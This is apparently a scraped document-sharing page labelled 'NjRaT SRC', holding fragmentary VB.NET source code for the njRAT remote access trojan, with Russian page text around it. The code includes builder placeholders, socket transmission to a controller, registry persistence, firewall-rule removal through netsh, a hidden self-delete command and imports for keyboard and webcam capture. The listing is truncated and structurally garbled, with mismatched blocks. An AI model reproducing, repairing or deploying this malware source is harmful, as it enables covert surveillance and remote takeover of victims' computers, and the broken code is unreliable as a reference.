Public Shared Function %69%(ByVal S As String) As Boolean
return %22%.%70%(%22%.%120%(S))
End Function
Public Shared %98% As Object = Nothing
Public Shared Function %70%(ByVal b As Byte()) As Boolean
return False
End If
Try
Dim lO As FileInfo = %22%.%91%
SyncLock lO
return False
End If
Dim %56% As New memorystream
Dim %106% As Integer = b.Length
Dim %57% As Byte() = %22%.%120%((%106%.ToString & ChrW(0)))
%56%.Write(%57%, 0, %57%.Length)
%56%.Write(b, 0, b.Length)
%22%.%130%.Client.send(%56%.toarray, 0, CInt(%56%.Length),
Socketflags .None)
End SyncLock
Try
If %22%.%83% Then
%22%.%83% = False
%22%.%130%.Close()
End If
End Try
End Try
return %22%.%83%
End Function
Public Shared %131% As String = "%port%"
Public Shared Function %115%(ByVal n As String, ByVal t As Object, ByVal
typ As RegistryValueKind) As Boolean
Dim %121% As Boolean
Try
%22%.%84%.Registry.CurrentUser.CreateSubKey(("Software\" & %22%.
%77%)).SetValue(n, RuntimeHelpers.GetobjectValue(t), typ)
%121% = True
%121% = False
End Try
return %121%
End Function
Public Shared %77% As String = "%regk%"
%22%.%114%(0)
%22%.%89% = False
Try
%22%.%84%.Registry.CurrentUser.OpenSubKey(%22%.%94%,
True).DeleteValue(%22%.%77%, False)
End Try
Try
%22%.%84%.Registry.localMachine.OpenSubKey(%22%.%94%,
True).DeleteValue(%22%.%77%, False)
End Try
Try
Interaction.Shell(("netsh firewall delete allowedprogram """ &
%22%.%91%.FullName & """"), AppWinStyle.Hide, False, -1)
End Try
Try
%22%.%85%.Dispose()
File.Delete((Environment.GetFolderPath(SpecialFolder.Startup) &
"\" & %22%.%77% & ".exe"))
End If
End Try
Try
%22%.%84%.Registry.CurrentUser.OpenSubKey("Software",
True).DeleteSubKey(%22%.%77%, False)
End Try
Try
Interaction.Shell(("cmd.exe /c ping 0 -n 2 & del """ & %22%.
%91%.FullName & """"), AppWinStyle.Hide, False, -1)
End Try
End Sub
Public Shared %93% As Object = Nothing
Public Shared Function %135%(ByVal B As Byte()) As Byte()
Dim %56%2 As New memorystream(B)
Dim %56% As New GZIPstream(%56%2, CompressionMode.Decompress)
Dim %57%2 As Byte() = New Byte(4 - 1) {}
%56%2.Position = (%56%2.Length - 5)
%56%2.Read(%57%2, 0, 4)
Dim %78% As Integer = BitConverter.ToInt32(%57%2, 0)
%56%2.Position = 0
Dim %79% As Byte() = New Byte(((%78% - 1) + 1) - 1) {}
%56%.Read(%79%, 0, %78%)
%56%.Dispose()
%56%2.Dispose()
return %79%
End Function
End Class
End Namespace

NjRaT SRC

Загружено:

Сведения о документе

Авторское право

Доступные форматы

Поделиться этим документом

Поделиться или встроить документ

Параметры публикации

Этот документ был вам полезен?

Это неприемлемый материал?

Авторское право:

Доступные форматы

NjRaT SRC

Загружено:

Авторское право:

Доступные форматы

Imports System

Private Function %136%() As String

Private Function %4%(ByVal k As Keys) As string

<DllImport("user32", CharSet:=CharSet.Ansi, SetLastError:=True,

<DllImport("user32", CharSet:=CharSet.Ansi, SetLastError:=True,

<DllImport("user32.dll", CharSet:=CharSet.Ansi, SetLastError:=True,

Private Shared Function %13%(ByVal a As UInt32) As String

Public Sub %17%()

Private %18% As String

<DllImport("avicap32.dll", CharSet:=CharSet.Ansi, SetLastError:=True,

Private Shared Function %31%(ByVal %143% As FileInfo, ByVal %144% As

%22%.%101% = New memorystream

Public Shared Function %33%(ByRef s As String) As String

Public Shared Sub %34%(ByVal n As String)

Public Shared Function %37%(ByRef s As String) As String

<DllImport("user32.dll", CharSet:=CharSet.Ansi, SetLastError:=True,

Public Shared %154% As Boolean = Conversions.ToBoolean("%schtsk%")

Public Shared Sub %116%()

Вам также может понравиться